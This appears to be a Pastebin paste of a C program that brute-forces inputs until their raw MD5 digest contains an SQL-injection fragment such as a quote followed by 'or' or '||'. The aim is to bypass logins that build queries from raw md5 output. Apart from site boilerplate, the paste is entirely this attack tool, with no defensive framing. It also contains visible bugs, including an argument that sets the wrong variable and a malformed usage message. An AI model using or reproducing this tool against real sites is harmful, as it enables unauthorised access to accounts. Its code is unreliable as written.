Advertisement
Guest User

md5sql_brute2.c

a guest
Sep 10th, 2010
674
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C 2.35 KB | None | 0 0
  1. #include <stdio.h>
  2. #include <stdlib.h>
  3. #include <string.h>
  4. #include <ctype.h>
  5. #include <openssl/md5.h>
  6.  
  7. int check_result(char *result)
  8. {
  9.     int i = 0;
  10.     char c1,c2;
  11.     while (i < 12) {
  12.         if (result[i++] == '\'') {
  13.             while (isspace(result[i]))
  14.                 i++;
  15.  
  16.             c1 = result[i++];
  17.             c2 = result[i++];
  18.  
  19.             if ((c1 == '|' && c2 == '|') || ((c1 == 'o' || c1 == 'O') && (c2 == 'r' || c2 == 'R'))) {
  20.                 if (c2 != '|') {
  21.                     // need at least one space
  22.                     if (!isspace(result[i++]))
  23.                         return 0;
  24.                 }
  25.  
  26.                 while (isspace(result[i]))
  27.                     i++;
  28.  
  29.                 if (result[i] == '\'')
  30.                     return 1;
  31.  
  32.                 if (!isdigit(result[i++]))
  33.                     return 0;
  34.  
  35.                 if (result[i] != '#')
  36.                     return 0;
  37.  
  38.                 return 1;
  39.             }
  40.  
  41.             return 0;
  42.         }
  43.     }
  44.    
  45.     return 0;
  46. }
  47.  
  48. void try_bruteforce(int min_len, int max_len, int start, int stop)
  49. {
  50.     unsigned char password[128];
  51.     int i, j;
  52.     int len, chkPos;
  53.     MD5_CTX md5Ctx;
  54.     char result[17];
  55.  
  56.     len = min_len;
  57.     memset(password, 0, 128);
  58.  
  59.     // set password first time
  60.     for (i = 0; i < len; i++)
  61.         password[i] = 0;
  62.     password[len - 1] = start;
  63.     chkPos = max_len - 1;
  64.  
  65.     result[16] = 0;
  66.     while (len <= max_len) {
  67.         // try decrypt with password here
  68.         MD5_Init(&md5Ctx);
  69.         MD5_Update(&md5Ctx, password, len);
  70.         MD5_Final((unsigned char*) result, &md5Ctx);
  71.  
  72.         if (check_result(result)) {
  73.             printf("password: ");
  74.             for (j = 0; j < len; j++)
  75.                 printf("%02x", password[j]);
  76.             printf("\n");
  77.             printf("password: ");
  78.             for (j = 0; j < len; j++)
  79.                 printf("%%%02x", password[j]);
  80.             printf("\n");
  81.             printf("result: ");
  82.             for (j = 0; j < 16; j++)
  83.                 printf("%02x", (unsigned char)result[j]);
  84.             printf("\n");
  85.             printf("result: %s\n", result);
  86.             return;
  87.         }
  88.  
  89.         for (i = 0; i < len; i++) {
  90.             if (++password[i])
  91.                 break;
  92.         }
  93.         if (i == chkPos) {
  94.             printf("chkPos value: %d\n", password[i]);
  95.             if ((int)password[i] == stop)
  96.                 return;
  97.         }
  98.         if (i == len) {
  99.             password[i] = 1;
  100.             len++;
  101.             printf("now len is: %d\n", len);
  102.         }
  103.     }
  104. }
  105.  
  106. int main(int argc, char* argv[])
  107. {
  108.     int min = 4;
  109.     int max = 4;
  110.     int start = 0;
  111.     int stop = 256;
  112.  
  113.     if (argc < 3) {
  114.         printf("Usage: %s min max [start=0] [stop=256]");
  115.         return 1;
  116.     }
  117.  
  118.     min = atoi(argv[1]);
  119.     max = atoi(argv[2]);
  120.     if (argc > 3)
  121.         start = atoi(argv[3]);
  122.     if (argc > 4)
  123.         start = atoi(argv[4]);
  124.  
  125.     try_bruteforce(min, max, start, stop);
  126.     return 0;
  127. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement